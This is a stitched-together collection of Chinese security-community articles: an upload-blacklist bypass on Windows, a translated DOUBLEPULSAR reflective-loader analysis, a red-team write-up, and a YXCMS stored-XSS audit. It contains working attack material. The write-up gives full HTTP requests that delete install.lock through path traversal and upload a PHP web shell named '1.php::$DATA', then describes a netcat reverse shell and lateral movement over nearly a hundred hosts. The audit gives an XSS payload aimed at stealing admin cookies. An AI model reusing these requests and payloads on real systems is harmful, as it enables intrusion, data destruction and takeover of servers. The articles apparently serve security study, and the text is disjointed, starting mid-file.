* Created by PhpStorm.
* User: xq17
* Date: 4/17/22
* Time: 7:07 PM
*/
header("Content-Type: text/html; charset=UTF-8");
$filename = $_FILES["file"]["name"];
if($filename){
# 获取后缀名
$uptype = strtolower(end(explode(".", $filename)));
print_r("suffix:".$uptype."\n");
# 判断是否在黑名单里面
if(in_array($uptype, array('php', 'phtml'))){
print_r("不允许上传php文件!");
die(0);
}else{
// 通过黑名单检验
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
print_r("上传成功!");
}
}
正常上传php文件的话，会被拦截。
这种情况在linux环境可以通过FUZZ各种后缀来尝试绕过，不过在Window环境，却可以通过一些巧妙的方式来进行绕过。
[当php懈垢windows通用上传缺陷](http://t.zoukankan.com/dongchi-p-4982612.html)
**绕过方式1:**
通过在文件名后面添加一个或多个`.`来绕过黑名单。
生成文件的时候会自动删除`.`
**绕过方式2:**
通过在文件名后面添加一个`::$data`这一默认流类型来绕过黑名单。
写入的时候会忽略`::$data`，而是作为默认流类型，保留了`3.php`这一原文件名达到绕过目的。
**绕过方式3:**
这种方式是PHP调用WindowAPI的特性导致的:
[window的特性](https://developer.aliyun.com/article/654388)
[Windows下的"你画我猜" -- 告别效率低下的目录扫描方法、](https://xz.aliyun.com/t/2318#toc-2)
[PHP源码调试之Windows文件通配符分析](https://xz.aliyun.com/t/2004)
> `<` :匹配0个以上的字符
>
> `>`:匹配一个字符
>
> `"`:匹配点号
(1)先利用冒号截断生成一个空白文件7.php
修改文件名:`7.php:jpg`,即可上传成功一个空文件
(2)然后利用`<`、`"`或者`>`号进行覆盖写入
使用`<`可以匹配多个字符，即`7.p<` 能够匹配到`7.php`
使用`>`只能匹配单个字符，故用`7.p>>`能够匹配到`7.php`
使用`"`来匹配点号。
### 0x3.2 追溯失败原因
在0x02节提到的方式，若按原作者所说，通过构造`111.jpg.php:.jpg<<<`文件名结合0x3.1的Window特性来看并没有很大意义。
因为`111.jpg.php:.jpg<<<`匹配的就是`111.jpg.php:.jpg`+后面任意字符的文件名，根本匹配不到`111.jpg.php`这个我们想要覆盖的文件。
## 0x04 巧妙ByPass
既然知道了失败的原因，那么我们需要去找找，看看有没有可以突破的地方。
在这里，我们需要清晰地认识到场景的两处特殊之处:
1)后缀内容部分可控
2)文件名可控制
### 0x4.1 Bypass 1
根据代码的逻辑，我们是没有办法构造出php后缀的，来直接上传的。
因为我们可控的仅仅是文件名，还需要拼接后缀，而后缀的话必须是形如xxxjpgxxx的字符串，不能插入`.`，要不然会被分割，所以后缀我们是没办法构造出`php`的。
既然直接的办法行不通，那么可以尝试利用window特性来进行覆盖写入。
**尝试1**
首先通过冒号截断来写入一个ttt.jpg.php的空文件,只需要如图构造参数即可。
拼接之后，传入`move_uploaded_file`的值为`ttt.jpg.php:.jpg`
那么接下来，我只需要控制，`wname`的值为`ttt`，后缀控制为`1.jpg<`,那么拼接之后的值便是`ttt.jpg<`,按道理来说是应该能匹配到`ttt.jpg.php`,因为`<`其实等价于`*`的作用。
不过在实际中发现,一个`<`并没有匹配成功，使用两个以上`<`即可匹配成功。
### 0x4.2 Bypass 2
那就是如果`<`被过滤的时候，我们可以通过构造`jpg\"php`来匹配上`jpg.php`这个格式。
查看下文件是否被修改成功， success!
## 0x05 总结
本文内容记录了笔者从初始化环境，因复现失败，再去学习window特性，然后结合特性实现在window环境绕过CMS伪白名单限制(因为他只是通过正则部分限定了后缀，不是严格的白名单)并最终完成GetShell的过程。值得一提的是，虽然这些trick比较老了，但是源远流长，在一些场景依然有着不可忽视的作用。 | 社区文章 |
# 【技术分享】NSA武器库：DOUBLEPULSAR用户模式分析实现通用反射DLL Loader
|
##### 译文声明
本文是翻译文章，文章来源：countercept.com
原文地址：<https://countercept.com/our-thinking/doublepulsar-usermode-analysis-generic-reflective-dll-loader/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **myswsun**](http://bobao.360.cn/member/contribute?uid=2775084127)
**稿费：200RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00 前言**
我们之前分析发布了一篇文章“[DOUBLEPULSAR
payload的内核payload的分析](http://bobao.360.cn/learning/detail/3881.html)”，其细节是关于内核模式shellcode如何使用异步APC注入DLL。然而，实际上内核payload不能做到加载DLL，但是可以设置包含用户模式shellcode的APC调用来实现加载DLL。
我们感兴趣的是这个payload能适用任意DLL，但是没有使用LoadLibrary。避免使用LoadLibrary可以更隐蔽的加载，因为它避免了需要写入文件到磁盘，还能避免LoadLibrary被监控，同时也能避免在PEB（通常包含所有加载的DLL的列表）中留有痕迹。虽然这种方式现在遍地可见，但是目前为止，我们还没注意到任何公开的代码可以用这种方式加载任意DLL的（现有代码需要的自定义构建支持加载的DLL）。DOUBLEPULSAR是不同的，它的实现非常完美，几乎能加载任何DLL。另外，几乎支持任何版本的Windows。
本文的技术细节使用用户模式的DOUBLEPULSAR，且提供了一个测试工具，其充分利用了独立的shellcode，因此很容易看到行为和检测。该工具不使用内核代码，只有用户层的loader来注入任意DLL。尽管这个shellcode有32位的版本，但是目前我们只分析了64位的版本。
**0x01 细节**
下面是shellcode的步骤的详细描述。
1\. call-pop被用来自定位，因此shellcode能使用静态偏移
2\. 通过匹配哈希模块名定位需要的API函数，通过哈希函数名匹配导出函数
3\. 解析DLL头得到关键元数据
4\. 如果可能，在优选的基址上分配合适大小的内存。任何以该基址的偏移都被保存，以供后用。
5\. DLL的每个节被拷贝到内存中合适的位置
6\. 处理导入函数，加载依赖库（使用LoadLibrary），填充IAT
7\. 重定位，修复偏移
8\. 使用RtlAddFunctionTable设置异常处理（SEH）
9\. 基于DLL头，设置每个节的内存保护属性为合适的值
10\. 使用DLL_PROCESS_ATTACH为参数调用DLL入口点
11\. 解析需要的序号函数并调用
12\. 得到需要的函数后，使用DLL_PROCESS_DETACH为参数调用DLL入口点
13\. 使用RtlDeleteFunction移除异常处理
14\. 将整个DLL内存设为可写，并清零
15\. 释放DLL内存
16\. shellcode清0自己，除了函数末端，其保证APC优雅的返回
在shellcode开头能看到call-pop组合，下个指令被调用，返回地址立即被移出到寄存器中。这使得代码能找到它自己的地址，并使用该地址的静态偏移来找到它自己的缓冲区。
当进入到一个循环，得到shellcode中偏移0xF0C的值，通过rdx和rcx传入到一个函数中。这个函数将调用find_func，定位shellcode需要的Windows
API函数。得到一个模块名的哈希值（在RDX中）和一个函数名的哈希（rcx中）。因为这些只是名字，他们可以被硬编码，且在不同版本的Windows中不会改变。
从TEB的PebLdr字段中定位到加载的模块，循环搜索模块哈希值。注意模块名哈希通过rdx压入栈，作为一个正常函数的序言，shellcode能从栈中访问它。
当匹配到后，转到函数搜索循环中，和上述方式相同，但是使用的是模块导出表的导出函数名。通过解析内存中的模块头，找到包含各种映像目录入口的RVA的IMAGE_DIRECTORY_ENTRY_ARRAY，其中包含存有导出函数的IMAGE_DIRECTORY_ENTRY_EXPORT。通过加上模块基址，RVA能够转化为真实的地址。PE头的解析在shellcode非常常见。
IMAGE_DIRECTORY_ENTRY_EXPORT结构包含了各种数组的RVA。AddressOfFunctions是导出函数的RVA数组。AddressOfNames这些函数的ASCII名字的平行数组。AddressOfNameOrdinals是另一个包含函数序号信息的平行数组。迭代这些数组能得到需要的函数地址，保存这些函数地址。
函数地址保存在栈中结构中。这个结构用来保存各种东西，如shellcode执行需要的函数指针。通常使用rsi访问它。结构的格式如下，也显示了循环解析的函数（其他值稍后会初始化）。
函数指针在每次调用find_func后被写入这个结构：
你也能通过rbp看见另一个引用结构，在shellcode缓冲区的一个空白内存块中，初始值为0。这个结构显示如下，在shellcode的偏移0x368处。
在定位到shellcode需要的函数后，DLL被复制到新创建的内存中，并清0
shellcode缓冲区。这将导致不能定位到DLL的位置，但是有个临时的位置保存了DLL的原始数据。这充分利用了之前定位的一个函数，kernel32!VirtualAllocStub（VirtualAlloc的一个简单包装）。
DLL的大小来自shellcode末尾写入的值，在shellcode和shellcode缓冲区中的DLL的中间。这是shellcode中仅有的2个自定义的值之一，另个加载DLL后应该调用的函数序号。Shellcode缓冲区的布局如下：
这些值通过开头的pop-call指令来得到相关地址引用，将shellcode缓冲区偏移0x25的地址写入到rbp中。因此我们能在shellcode缓冲区内存中通过[rbp+0xF5D]获取到DLL的大小。
解析DLL头以判断DLL的架构（32位还是64位）。如果是错误的架构，shellcode将停止运行，避免有任何错误。一些有用的值会被保存以供后用，如Section头和IMAGE_DATA_DIRECTORY_ARRAY的指针。
分配加载DLL的空间。这个区域的大小不是DLL的大小，因为它会占用磁盘，但是能从DLL头中的SizeOfImage中获得，以便能正确加载进内存。使用头中优选基址调用VirtualAlloc，但是如果这个不可靠，会在其他地方分配空间。
保存优选基址的偏移，用于重定位。
根据DLL的SizeOfImage字段，将DLL头拷贝到新创建的内存区域。之后，在一个循环中将每个节拷贝到正确的位置。这使用头中的字段NumberOfSections来循环遍历所有的节头，从每个节头中的PointerToRawData、SizeOfRawData和VirtualAddress，定位DLL节的原始数据，并拷贝到加载的DLL中的正确位置。
导入函数现在加载了。在进程的开头，分配另一个内存，但是这只用来给函数用，但是貌似从没使用过。这可能是历史功能，不再需要了。
解析导入表，使用LoadLibrary加载每个库。这个不太隐蔽，但是我么假设用户能避免依赖库，或者只使用Windows库（更可能被忽略，认为是合法库）。使用IMAGE_DIRECTORY_ENTRY_ARRAY中的IMAGE_DIRECTORY_ENTRY_IMPORT定位导入表，其指针早前在解析DLL头时已经保存了。遍历导入表，解析每个库名的偏移并调用LoadLibrary加载它。
每个库的导入函数使用导入表的FirstThunk来确定，其在IMAGE_IMPORT_BY_NAME结构中有个偏移，或者依赖序号。FirstThunk的值是针对位掩码0x8000000000000000（IMAGE_ORDINAL_FLAG64）做检查的；如果设置了这个值，在地位包含序号，否则，是通过名字导入的，且能定位到函数字符串的偏移。然后调用GetProcAddress得到函数地址。
在这个处理过程中，rbp引用的空间被用于临时保存确定的东西，如最新的FirstThunk值和IMAGE_IMPORT_BY_NAME的偏移。
然后再写回地址到FirstThunk中，作为绑定导入。
我们也能看到一个函数调用充分利用了早前分配的神秘的内存。然而，这个调用不可达，因为在这个调用前rax被设为1才调用，如果为0就跳过调用。这很奇怪，因为它似乎是个永远不会用到的函数。
在处理导入函数后，加载的DLL的头中的基地址被更新，以用来我们最终加载真实的基址。
现在处理重定位，以解决关于DLL基址的任何偏移。IMAGE_DIRECTORY_ENTRY_BASERELOC从头中可以找到，用于遍历所有的重定位项，必要时进行重定向。只处理IMAGE_REL_AMD64_ADDR32NB,
IMAGE_REL_AMD64_SECTION 和 IMAGE_REL_AMD64_ABSOLUTE的重定位。
遍历每个重定位表，得到每块的入口，检查头4个字节以判断重定位的类型。根据类型，后12字节作为重定位的值，并且将重定位值用于更新基于优选基址的偏移。
使用IMAGE_DIRECTORY_ENRTY_EXCEPTION和调用RtlAddFunctionTable设置异常处理。
根据Section头，调用VirtualProtect将每个节的内存保护属性设为合适的值。
使用头中的AddressOfEntryPoint定位到DLL的入口点，然后以DLL_PROCESS_ATTACH（值为1）为参数调用函数入口点让DLL知道被加载了。完成过程如下：
现在DLL被加载了，需要调用的函数的序号也得到了，调用该函数。使用从自定位的call-pop指令中的地址获得序号值，和之前的DLL大小一样，但是这是在shellcode缓冲区偏移0xF86处。
从DLL头中得到序号基值，这是库中的序号的起始值。将所需要的序号减去起始值能得到位于导出函数数组AddressOfFunctions中的任意函数的索引。这提供了函数的RVA，加上基址就得到了函数的真实地址。
函数有一些栈空间和寄存器rcx，rdx和r8中的参数。当然如果函数不需要任何参数，这些参数的存在和栈空间将会不同，但是任何自定义的DLL可能希望利用这些。Shellcode返回值保存在栈中，即使它从不被使用。
在函数返回后，清理。卸载dll，并清零内存。首先使用DLL_PROCESS_DETACH(值0)为参数调用函数入口点。
使用RtlDeleteFunctionTable清理异常处理。
将DLL内存设为可写，以便清零，然后释放内存。VirtualProtectStub需要一个指向lpflOldProtect参数的可写指针，即使我们不关心它的值，但是必须提供，因此使用rbp引用的空间。
然后shellcode清零自身，除了一个允许函数正确返回的函数结语。这是这种方式的一个小缺陷。
**0x02 内存痕迹**
在使用DOUBLEPULSAR执行DLL加载后，有大量的内存痕迹能用于检测。首先在开头分配的内存中，从shellcode缓冲区中拷贝DLL从来没被清零或释放。这有点不同寻常，因为只要稍微处理下就能做到清除内存，甚至这块内存区域的权限还保留了PAGE_EXECUTE_READWRITE，和整块DLL的拷贝。
事实上，这块内存区域不需要执行权限，因为它只用于读写。这非常奇怪，因为可读可写可执行的全些是非常值得怀疑的，在合法进程中很少需要这个。通常只在漏洞利用中使用。同时未修改的MZ头更加让人怀疑。而且，这块内存似乎并不一定需要，因为只需使用自定位的call-pop指令就足够从shellcode缓冲区中直接加载DLL。
也可能这块内存区域是由一个老的不复杂的反射加载器遗留的，使用新技术后它没有被重构。不管怎样，在内存中你将得到一个可以的包含DLL拷贝的内存区域。如果payload执行多次后你将看见几个这种内存区域、
另一种内存痕迹更加难于避免。就是通过APC调用执行的shellcode的主函数的结语。因为需要确保函数返回清理，且要避免进程崩溃。尽管有方法使它更小，但是完全避免还是很有挑战性。
当你看到具有PAGE_EXECUTE_READWRITE权限的几乎包含全是0的内存区域时，在偏移0xF70处的内容如下：
在这之后，是两个32位的整数，第一个是注入的dll的大小，第二个是DLL中执行的序号。当然这两个值每次都会不同，不能作为静态特征。但是可以用来处理执行的DLL（一直在RWX的内存块中）和DLL中执行的函数。
**0x03 测试用户模式的DOUBLEPULSAR注入器的payload**
我们发布了小的测试工具以用于调用DOUBLEPULSAR payload的用户模式的DLL加载机制。将使用shellcode注入一个DLL到你选择的进程中。
有趣的是，shellcode足够通用，能以各种方式触发。举个例子，该工具使用相似的方式插入一个用户模式的APC到内核payload中，但是也可以使用CreateRemoteThread等更常见的DLL注入方式触发shellcode（但是不能避免使用LoadLibrary）。
下面截图是工具的使用，注入DLL到calc.exe进程中弹出对话框。
执行后，能看到两块PAGE_EXECUTE_READWRITE属性的内存区域。
这些区域中的一个是几乎都是0，但是在0xF70处有个小的结语。另一个包含了原始的DLL。 | 社区文章 |
# 报告，我已打入地方内部
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
事情是这样的，在某次省hw的时候，对目标进行打点的时候，发现ip下存在四个域名，在一个域名中发现了beifen.zip文件，而网址的功能是一个社区类型的网址。
下载后打开，发现是程序的源码，sql文件都在里面。
找程序中找到的数据库的ip、账号、密码等信息，试试能不能连接。
## 审计源码，发现漏洞
既然连接不上，那么只能审计一下源码了，先拿工具扫一下。
经过查看，发现/application/index/controller/system/SystemUpgradeclient.php中的setcopydel方法可以任意提交参数。
可以看到以post方式接收了俩个参数，一个是id，一个是ids
if (is_array($post[‘ids’])) {
foreach ($post[‘ids’] as $file) {
$fileservice->del_dir(ROOT_PATH . ‘public’ . DS . ‘copyfile’ . $file);
}
}if ($post[‘id’]) {
$copyFile = ROOT_PATH . ‘public’ . DS . ‘copyfile’ . $post[‘id’];
// echo $copyFile;exit;
$fileservice->del_file($copyFile);
}ids是需要数组的，然后拼接路径，传入$fileservice->del_dir()方法中。id没有类型判断，直接拼接路径传入$fileservice->del_file()方法中。那来看看这俩个方法中做了什么事情。$fileservice->del_dir()方法是删除目录
删除目录，看来这是一个任意文件删除漏洞,分析下源码。
static function del_dir($dirName)
{
if (!file_exists($dirName)) # 判断文件或目录是否存在，不存在就返回false
{
return false;
}
$dir = opendir($dirName); # 打开一个目录，读取它的内容
while ($fileName = readdir($dir))
{
$file = $dirName . ‘/’ . $fileName;
if ($fileName != ‘.’ && $fileName != ‘..’)
{
if (is_dir($file)) # 判断是不是目录,是目录就在调用一次本身方法
{
self::del_dir($file);
}
else
{
unlink($file); # 删除文件
}
}
}
closedir($dir);
return rmdir($dirName); # 删除目录
}$fileservice->del_file()方法是删除文件
这就没有什么好说的了，判断文件是否存在，然后删除。但是，这是hw啊，这漏洞什么用都没有啊，只能继续找其他漏洞了。
经过漫长的查找终于在applicationadmincontrollersettingSystemConfig.php中的发现了view_upload上传的方法。
这个方法中，type为3的时候是上传文件的，然后传入Upload::file方法。
但是在这个方法中判断了后缀名不能为php,但是在win的系统中，可以通过以下的一些方法绕过。
.php.
.php(空格)
.php:1.jpg
.php::$DATA
.php::$DATA…….
等等、、、经过尝试，发现使用1.php::$DATA这样的方式可以绕过，构造的post数据包为：POST
/index.php/admin/setting.system_config/view_upload.html HTTP/1.1
Host: xxx.com
Content-Length: 403
Cache-Control: max-age=0
Origin: http://xxx.com
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;
boundary=—-WebKitFormBoundaryP7jKNcoemK2sybZb
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer:
http://xxx.com/index.php/admin/setting.system_config/index_alone?tab_id=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=es9ef1h1c9i0t21brcrlqigfmt
Connection: close——WebKitFormBoundaryP7jKNcoemK2sybZb
Content-Disposition: form-data; name=”file”site_logo
——WebKitFormBoundaryP7jKNcoemK2sybZb
Content-Disposition: form-data; name=”type”3
——WebKitFormBoundaryP7jKNcoemK2sybZb
Content-Disposition: form-data; name=”site_logo”; filename=”1.php::$DATA”
Content-Type: image/png
<?php
phpinfo();
?>
——WebKitFormBoundaryP7jKNcoemK2sybZb–
成功上传文件，但是这个文件上传需要后台登录才能上传，后台之前就已经爆破过了，没有爆破出来账号密码。但是这个程序有install文件,根据经验知道程序安装文件都会在安装后创建一个文件，来判断是否已经安装，所以在看看是否和我想的一样。
可以看到确实是生成了一个install.lock文件来判断是否安装成功，那么我们可以通过之前的任意文件删除漏洞来删除这个文件让系统进行重装。
但是这个删除文件，对系统进行重装，这就得问问裁判组能不能让了啊，经常协商，他们觉得这个程序不重要，在能保证不破坏程序的时候可以做。
既然他们说可以了，那么我就小心翼翼的构造一下post包，别真的给程序破坏了。
## 利用漏洞拿到shell
删除install.lock文件的数据包：
POST /index.php/admin/system.System_Upgradeclient/setcopydel HTTP/1.1
Host: www.xxx.wang
Content-Length: 26
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.xxx.wang
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
http://www.xxx.wang/index.php/admin/system.System_Upgradeclient/setcopydel
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=8itmp7itfo1va6uu7bu0ouhgos
Connection: closeid=/../install/install.lock&ids=1
返回值是成功的，看来没有问题，那就到重装系统的时候了，为了不对系统的数据造成破坏，我们对系统安装需要连接的mysql放到自己的服务器中。
成功登录后台，然后上传shell，还是之前的那个数据包，没有什么好说的，拿到shell后我用nc反弹一下，查看了系统上都有什么程序，发现这个系统上存在五个程序。
既然上来了，那就收集一下信息，然后把流量代理出去扫描一下，结果发现：
只是扫描了一下下而已，这个多弱口令，这稳了，通过这些弱口令在来做横向移动，一共拿下了近百台的机器，得了3600分。 | 社区文章 |
# 代码审计——YXCMS
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
YXcms是一个代码审计入门级的cms,比较适合想我这样的小白玩家进行操作。。。
我一直想尝试审计一个cms，但是因为各种原因，一直搁置了。
尝试分析一下`YXCMS`。。。
## 相关环境
源码信息 : Yxcms php建站系统 1.4.7
本地环境 : phpstudy2018
下载地址 :
[175.6.244.211:88/uploads/userup/1596/YXcmsApp1.4.7.zip](88/uploads/userup/1596/YXcmsApp1.4.7.zip)
## 安装环境
具体的安装和使用的详细可以上官网查看<https://www.kancloud.cn/yongheng/yxcms>
## YXcms代码审计
### YXcms目录结构
[](https://imgchr.com/i/YPS7h8)
YXcms目录结构 |
---|---
data | 存放备份数据
protected | 网站程序核心文件夹
public | 存放css、images、js、swf等模板公用文件
upload | 存放上传文件
.htaccess | apache伪静态规则文件
httpd.ini | iis伪静态规则文件
index.php | 网站入口
robots.txt | robots协议
升级日志.txt | 详细升级日志记录文件
protected文件夹一些重要的路径： |
---|---
protected/base | 控制器、模型以及接口的父类
protected/cache | 数据库缓存、模板缓存等
protected/include | canphp核心
protected/config.php | 系统全局配置
protected/core.php | 系统核心函数
protected/apps | 存放应用
protected/apps/admin | 后台
protected/apps/default | 前台
protected/apps/member | 会员中心
protected/apps/install | 系统安装
YXcms1.4.7是mvc路由模式开发的。。。
这个版本后台有好几个严重漏洞，
前台有一个储存型XSS，要利用也需与管理员交互。
我们一个一个来进行分析。。。
## 前台存储型XSS
### 漏洞复现
前台有留言板的功能，进行测试：
当管理员在后台查看留言的时候，就能触发xss：
可以通过这个`xss`来获取管理员的`cookie`，从而进入网站后台。。
### 代码分析
让我们看一下代码的实现：
首先前台留言板的代码：
前台的文件源码`protected/apps/default/controller/columnController.php`
public function index()
{
$ename=in($_GET['col']);
if(empty($ename)) throw new Exception('栏目名不能为空~', 404);
$sortinfo=model('sort')->find("ename='{$ename}'",'id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid');
$path=$sortinfo['path'].','.$sortinfo['id'];
$deep=$sortinfo['deep']+1;
$this->col=$ename;
switch ($sortinfo['type']) {
case 1://文章
$this->newslist($sortinfo,$path,$deep);
break;
case 2://图集
$this->photolist($sortinfo,$path,$deep);
break;
case 3://单页
$this->page($sortinfo,$path,$deep);
break;
case 4://应用
break;
case 5://自定义
break;
case 6://表单
$this->extend($sortinfo,$path,$deep);
break;
default:
throw new Exception('未知的栏目类型~', 404);
break;
}
}
...
protected function extend($sortinfo,$path,$deep)
{
$tableid=$sortinfo['extendid'];
if(empty($tableid)) $this->error('表单栏目不存在~');
$tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
if(empty($tableinfo)) $this->error('自定义表不存在~');
$urls=explode('|', $sortinfo['url']);
// var_dump($tableinfo);
// var_dump($urls);
// exit();
if (!$this->isPost()) {
...
}else{
session_starts();
$verify=session('verify');
session('verify',null);
if(empty($verify) || $_POST['checkcode']!=$verify) $this->error('验证码错误，请重新输入');
for($i=1;$i<count($tableinfo);$i++){
if(is_array($_POST[$tableinfo[$i]['tableinfo']])){
$data[$tableinfo[$i]['tableinfo']]=in(deletehtml(implode(',',$_POST[$tableinfo[$i]['tableinfo']])));
$data[$tableinfo[$i]['tableinfo']]=$data[$tableinfo[$i]['tableinfo']]?in(deletehtml($data[$tableinfo[$i]['tableinfo']])):'';
}else{
if(strlen($_POST[$tableinfo[$i]['tableinfo']])>65535) $this->error('提交内容超过限制长度~');
$data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']],true);
}
}
$data['ip']=get_client_ip();
$data['ispass']=0;
$data['addtime']=time();
if(empty($urls[1])) $jump=$_SERVER['HTTP_REFERER'];
else{
$jurl=explode(',',$urls[1]);
if(!empty($jurl[1])){
$arr=explode('/',$jurl[1]);
if(!empty($arr)){
$canshu=array();
foreach ($arr as $vo) {
$val=explode('=',$vo);
$canshu[$val[0]]=$val[1];
}
}
}
$jump=url($jurl[0],$canshu);
}
$mes=$urls[2]?$urls[2]:'提交成功请等待审核~';
if(model('extend')->Extin($tableinfo[0]['tableinfo'],$data)) $this->success($mes,$jump);
else $this->error('提交失败~');
}
}
这里前端对xss过滤不完善。。
只对`tname`参数进行了验证`deletehtml`和`html_in`
`deletehtml`函数
`/protected/include/lib/common.function.php`
//去除html js标签
function deletehtml($document) {
$document = trim($document);
if (strlen($document) <= 0)
{
return $document;
}
$search = array ("'<script[^>]*?>.*?</script>'si", // 去掉 javascript
"'<[/!]*?[^<>]*?>'si", // 去掉 HTML 标记
"'([rn])[s]+'", // 去掉空白字符
"'&(quot|#34);'i", // 替换 HTML 实体
"'&(amp|#38);'i",
"'&(lt|#60);'i",
"'&(gt|#62);'i",
"'&(nbsp|#160);'i"
); // 作为 PHP 代码运行
$replace = array ("",
"",
"\1",
""",
"&",
"<",
">",
" "
);
return @preg_replace ($search, $replace, $document);
}
`html_in`函数 对html代码进行xss识别，看是否存在危险的html标签对，并进行过滤
使用htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。：
`/protected/include/lib/common.function.php`
//html代码输入
function html_in($str,$filter=false){
if($filter){
$str=RemoveXSS($str);
}
$str=htmlspecialchars($str);
if(!get_magic_quotes_gpc()) {
$str = addslashes($str);
}
return $str;
}
`RemoveXSS`函数 对一些危险的标签对 进行了过滤，使其不能进行正常的xss功能，：
function RemoveXSS($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <javascript>
// note that you have to handle splits with n, r, and t later since they *are* allowed in some inputs
$val = preg_replace('/([x00-x08,x0b-x0c,x0e-x19])/', '', $val);
// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG SRC=@avascript:alert('XSS')>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|'\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
// now the only remaining whitespace attacks are t, n, and r
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(�{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return $val;
}
测试了一下，发现前端输入`<svg/onload=alert(1)>`在数据库中会被存储为`<svg/on<x>load=alert(1)>`
我们在来看看后端的代码：
后台的文件源码`protected/apps/admin/controller/extendfieldController.php`
public function mesedit()
{
$tableid=intval($_GET['tabid']);
if(!$this->checkConPower('extend',$tableid)) $this->error('您没有权限管理此独立表内容~');
$id=intval($_GET['id']);//信息id
if(empty($tableid) || empty($id) ) $this->error('参数错误~');
$tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
if(empty($tableinfo)) $this->error('自定义表不存在~');
if (!$this->isPost()) {
$info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'");
// var_dump($info);
// exit();
$this->info=$info;
$this->tableid=$tableid;
$this->id=$id;
$this->tableinfo=$tableinfo;
$this->display();
}else{
for($i=1;$i<count($tableinfo);$i++){
if(is_array($_POST[$tableinfo[$i]['tableinfo']]))
$data[$tableinfo[$i]['tableinfo']]=implode(',',$_POST[$tableinfo[$i]['tableinfo']]);
else
$data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']]);
}
if(model('extend')->Extup($tableinfo[0]['tableinfo'],"id='{$id}'",$data)) $this->success('修改成功~',url('extendfield/meslist',array('id'=>$tableid)));
else $this->error('信息修改失败~');
}
}
直接从数据库中取值，然后就是正常的给页面返回值了：
实现代码：
`/protected/apps/admin/view/extendfield_mesedit.php`
$cont.='';
